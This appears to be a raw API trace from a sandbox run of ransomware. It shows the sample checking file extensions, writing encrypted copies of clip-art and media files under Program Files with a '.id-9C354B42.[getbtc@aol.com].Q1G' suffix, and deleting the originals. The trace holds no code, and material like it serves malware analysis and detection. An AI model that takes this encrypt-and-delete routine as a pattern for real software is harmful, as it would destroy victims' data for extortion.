GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-previous-static.png")) returned 0x20 [0238.260] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-previous-static.png.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-previous-static.png.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0238.260] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-previous-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.260] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-previous-static.png") returned 76 [0238.260] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-previous-static.png") returned 76 [0238.260] lstrlenW (lpString=".doc") returned 4 [0238.260] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0238.260] lstrlenW (lpString=".docx") returned 5 [0238.260] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0238.260] lstrlenW (lpString=".pdf") returned 4 [0238.260] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0238.260] lstrlenW (lpString=".xls") returned 4 [0238.260] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0238.260] lstrlenW (lpString=".xlsx") returned 5 [0238.260] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0238.260] lstrlenW (lpString=".ppt") returned 4 [0238.260] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0238.261] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-previous-static.png") returned 76 [0238.261] lstrlenW (lpString=".zip") returned 4 [0238.261] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0238.261] lstrlenW (lpString=".rar") returned 4 [0238.261] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0238.261] lstrlenW (lpString=".bz2") returned 4 [0238.261] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0238.261] lstrlenW (lpString=".7z") returned 3 [0238.261] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0238.261] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-previous-static.png") returned 76 [0238.261] lstrlenW (lpString=".dbf") returned 4 [0238.261] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0238.261] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-previous-static.png") returned 76 [0238.261] lstrlenW (lpString=".1cd") returned 4 [0238.261] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0238.261] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-previous-static.png") returned 76 [0238.261] lstrlenW (lpString=".jpg") returned 4 [0238.261] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0238.261] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-previous-static.png") returned 76 [0238.261] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-previous-static.png") returned 76 [0238.261] lstrlenW (lpString=".doc") returned 4 [0238.261] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0238.261] lstrlenW (lpString=".docx") returned 5 [0238.261] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0238.261] lstrlenW (lpString=".pdf") returned 4 [0238.261] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0238.261] lstrlenW (lpString=".xls") returned 4 [0238.261] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0238.261] lstrlenW (lpString=".xlsx") returned 5 [0238.261] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0238.261] lstrlenW (lpString=".ppt") returned 4 [0238.261] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0238.261] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-previous-static.png") returned 76 [0238.261] lstrlenW (lpString=".zip") returned 4 [0238.262] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0238.262] lstrlenW (lpString=".rar") returned 4 [0238.262] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0238.262] lstrlenW (lpString=".bz2") returned 4 [0238.262] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0238.262] lstrlenW (lpString=".7z") returned 3 [0238.262] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0238.262] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-previous-static.png") returned 76 [0238.262] lstrlenW (lpString=".dbf") returned 4 [0238.262] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0238.262] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-previous-static.png") returned 76 [0238.262] lstrlenW (lpString=".1cd") returned 4 [0238.262] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0238.262] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-previous-static.png") returned 76 [0238.262] lstrlenW (lpString=".jpg") returned 4 [0238.262] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0238.262] lstrcmpiW (lpString1=".png", lpString2=".Q1G") returned -1 [0238.262] lstrlenW (lpString="button-highlight.png") returned 20 [0238.262] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\button-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\button-highlight.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0238.262] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=1885) returned 1 [0238.262] CloseHandle (hObject=0x390) returned 1 [0238.263] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\button-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\button-highlight.png")) returned 0x20 [0238.263] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\button-highlight.png.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\button-highlight.png.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0238.263] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\button-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\button-highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.263] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\button-highlight.png") returned 73 [0238.263] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\button-highlight.png") returned 73 [0238.263] lstrlenW (lpString=".doc") returned 4 [0238.263] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0238.263] lstrlenW (lpString=".docx") returned 5 [0238.263] lstrcmpiW (lpString1=".docx", lpString2="t.png") returned -1 [0238.263] lstrlenW (lpString=".pdf") returned 4 [0238.263] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0238.263] lstrlenW (lpString=".xls") returned 4 [0238.263] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0238.263] lstrlenW (lpString=".xlsx") returned 5 [0238.263] lstrcmpiW (lpString1=".xlsx", lpString2="t.png") returned -1 [0238.263] lstrlenW (lpString=".ppt") returned 4 [0238.263] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0238.263] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\button-highlight.png") returned 73 [0238.263] lstrlenW (lpString=".zip") returned 4 [0238.263] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0238.263] lstrlenW (lpString=".rar") returned 4 [0238.263] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0238.263] lstrlenW (lpString=".bz2") returned 4 [0238.263] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0238.263] lstrlenW (lpString=".7z") returned 3 [0238.263] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0238.263] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\button-highlight.png") returned 73 [0238.263] lstrlenW (lpString=".dbf") returned 4 [0238.263] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0238.264] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\button-highlight.png") returned 73 [0238.264] lstrlenW (lpString=".1cd") returned 4 [0238.264] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0238.264] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\button-highlight.png") returned 73 [0238.264] lstrlenW (lpString=".jpg") returned 4 [0238.264] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0238.264] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\button-highlight.png") returned 73 [0238.264] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\button-highlight.png") returned 73 [0238.264] lstrlenW (lpString=".doc") returned 4 [0238.264] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0238.264] lstrlenW (lpString=".docx") returned 5 [0238.264] lstrcmpiW (lpString1=".docx", lpString2="t.png") returned -1 [0238.264] lstrlenW (lpString=".pdf") returned 4 [0238.264] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0238.264] lstrlenW (lpString=".xls") returned 4 [0238.264] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0238.264] lstrlenW (lpString=".xlsx") returned 5 [0238.264] lstrcmpiW (lpString1=".xlsx", lpString2="t.png") returned -1 [0238.264] lstrlenW (lpString=".ppt") returned 4 [0238.264] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0238.264] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\button-highlight.png") returned 73 [0238.264] lstrlenW (lpString=".zip") returned 4 [0238.264] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0238.264] lstrlenW (lpString=".rar") returned 4 [0238.264] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0238.264] lstrlenW (lpString=".bz2") returned 4 [0238.264] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0238.264] lstrlenW (lpString=".7z") returned 3 [0238.264] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0238.264] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\button-highlight.png") returned 73 [0238.264] lstrlenW (lpString=".dbf") returned 4 [0238.264] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0238.264] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\button-highlight.png") returned 73 [0238.264] lstrlenW (lpString=".1cd") returned 4 [0238.264] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0238.264] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\button-highlight.png") returned 73 [0238.265] lstrlenW (lpString=".jpg") returned 4 [0238.265] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0238.265] lstrcmpiW (lpString1=".png", lpString2=".Q1G") returned -1 [0238.265] lstrlenW (lpString="chapters-static.png") returned 19 [0238.265] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\chapters-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\chapters-static.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0238.305] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=1375) returned 1 [0238.305] CloseHandle (hObject=0x390) returned 1 [0238.305] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\chapters-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\chapters-static.png")) returned 0x20 [0238.305] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\chapters-static.png.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\chapters-static.png.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0238.305] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\chapters-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\chapters-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.306] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\chapters-static.png") returned 72 [0238.306] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\chapters-static.png") returned 72 [0238.306] lstrlenW (lpString=".doc") returned 4 [0238.306] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0238.306] lstrlenW (lpString=".docx") returned 5 [0238.306] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0238.306] lstrlenW (lpString=".pdf") returned 4 [0238.306] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0238.306] lstrlenW (lpString=".xls") returned 4 [0238.306] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0238.306] lstrlenW (lpString=".xlsx") returned 5 [0238.306] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0238.306] lstrlenW (lpString=".ppt") returned 4 [0238.306] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0238.306] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\chapters-static.png") returned 72 [0238.306] lstrlenW (lpString=".zip") returned 4 [0238.306] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0238.306] lstrlenW (lpString=".rar") returned 4 [0238.306] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0238.306] lstrlenW (lpString=".bz2") returned 4 [0238.306] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0238.306] lstrlenW (lpString=".7z") returned 3 [0238.306] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0238.306] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\chapters-static.png") returned 72 [0238.743] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page.wmv.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0238.743] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page_pal.wmv.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0241.099] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0241.897] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0241.897] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0241.897] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0241.948] GetLastError () returned 0x0 [0241.948] ReadFile (in: hFile=0x398, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x2d74, lpOverlapped=0x0) returned 1 [0241.966] WriteFile (in: hFile=0x3a4, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x2d80, lpOverlapped=0x0) returned 1 [0241.967] ReadFile (in: hFile=0x398, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0241.967] WriteFile (in: hFile=0x3a4, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0241.967] SetEndOfFile (hFile=0x3a4) returned 1 [0241.968] CloseHandle (hObject=0x3a4) returned 1 [0241.968] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0241.968] SetEndOfFile (hFile=0x398) returned 1 [0242.057] CloseHandle (hObject=0x398) returned 1 [0242.057] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0242.057] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf")) returned 1 [0242.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0242.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0242.058] lstrlenW (lpString=".doc") returned 4 [0242.058] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.058] lstrlenW (lpString=".docx") returned 5 [0242.058] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0242.058] lstrlenW (lpString=".pdf") returned 4 [0242.058] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.058] lstrlenW (lpString=".xls") returned 4 [0242.058] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.058] lstrlenW (lpString=".xlsx") returned 5 [0242.058] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0242.058] lstrlenW (lpString=".ppt") returned 4 [0242.058] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0242.058] lstrlenW (lpString=".zip") returned 4 [0242.058] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.058] lstrlenW (lpString=".rar") returned 4 [0242.058] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.058] lstrlenW (lpString=".bz2") returned 4 [0242.058] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.058] lstrlenW (lpString=".7z") returned 3 [0242.058] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0242.059] lstrlenW (lpString=".dbf") returned 4 [0242.059] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0242.059] lstrlenW (lpString=".1cd") returned 4 [0242.059] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0242.059] lstrlenW (lpString=".jpg") returned 4 [0242.059] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0242.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0242.059] lstrlenW (lpString=".doc") returned 4 [0242.059] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.059] lstrlenW (lpString=".docx") returned 5 [0242.059] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0242.059] lstrlenW (lpString=".pdf") returned 4 [0242.059] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.059] lstrlenW (lpString=".xls") returned 4 [0242.059] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.059] lstrlenW (lpString=".xlsx") returned 5 [0242.059] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0242.059] lstrlenW (lpString=".ppt") returned 4 [0242.059] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0242.059] lstrlenW (lpString=".zip") returned 4 [0242.059] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.059] lstrlenW (lpString=".rar") returned 4 [0242.059] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.059] lstrlenW (lpString=".bz2") returned 4 [0242.059] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.059] lstrlenW (lpString=".7z") returned 3 [0242.060] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0242.060] lstrlenW (lpString=".dbf") returned 4 [0242.060] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0242.060] lstrlenW (lpString=".1cd") returned 4 [0242.060] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0242.060] lstrlenW (lpString=".jpg") returned 4 [0242.060] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.060] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0242.060] lstrlenW (lpString="BD07761_.WMF") returned 12 [0242.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0242.065] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=26748) returned 1 [0242.065] CloseHandle (hObject=0x398) returned 1 [0242.065] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf")) returned 0x20 [0242.115] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0242.168] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0242.184] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.199] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.200] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0242.218] GetLastError () returned 0x0 [0242.218] ReadFile (in: hFile=0x204, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x687c, lpOverlapped=0x0) returned 1 [0242.310] WriteFile (in: hFile=0x394, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x6880, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x6880, lpOverlapped=0x0) returned 1 [0242.347] ReadFile (in: hFile=0x204, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0242.347] WriteFile (in: hFile=0x394, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0242.347] SetEndOfFile (hFile=0x394) returned 1 [0242.348] CloseHandle (hObject=0x394) returned 1 [0242.348] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.348] SetEndOfFile (hFile=0x204) returned 1 [0242.350] CloseHandle (hObject=0x204) returned 1 [0242.350] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0242.360] DeleteFileW 